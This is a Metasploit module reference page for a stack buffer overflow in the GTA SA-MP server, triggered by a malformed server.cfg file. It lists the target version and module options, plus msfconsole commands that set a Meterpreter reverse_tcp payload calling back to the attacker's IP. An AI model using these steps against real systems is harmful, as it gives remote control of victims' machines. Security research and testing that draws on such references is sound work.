GTA SA-MP server.cfg Buffer Overflow | Metasploit Exploit Database (DB)

GTA SA-MP server.cfg Buffer Overflow

This module exploits a stack-based buffer overflow in GTA SA-MP Server. This buffer overflow occurs when the application attempts to open a malformed server.cfg file. To exploit this vulnerability, an attacker must send the victim a server.cfg file and have them run samp-server.exe.

Search Other Modules


Exploit Rank

  • Normal

Exploit Authors

  • Silent_Dream < >

Vulnerability References


Exploit Targets

  • 0 - GTA SA-MP (samp-server) v0.3.1.1 (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/fileformat/gta_samp
msf exploit(gta_samp) > show payloads
msf exploit(gta_samp) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(gta_samp) > set LHOST [MY IP ADDRESS]
msf exploit(gta_samp) > exploit


Exploit Module Options

FILENAME The file name. (default: server.cfg)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session